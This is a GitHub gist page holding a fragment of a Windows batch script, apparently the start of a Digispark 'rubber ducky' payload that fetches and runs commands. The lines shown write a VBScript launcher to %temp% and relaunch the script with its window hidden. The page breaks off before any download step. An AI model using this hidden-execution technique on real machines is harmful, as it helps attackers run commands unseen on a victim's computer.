Skip to content

Instantly share code, notes, and snippets.

@rahuldottech
rahuldottech / r1.cmd
Last active May 28, 2023 16:54
digispark-rubberducky-fetch-and-run-commands.
:: This hides the shell window while running commands
:: after first run, inv.vbs is created in %temp%... Invoke like this in future runs to hide window:
:: inv.vbs r1.cmd ry
@echo off
cd %temp%
if not exist inv.vbs (
echo CreateObject^("Wscript.Shell"^).Run "" ^& WScript.Arguments^(0^) ^& "", 0, False > inv.vbs
inv.vbs "r1.cmd ry"
exit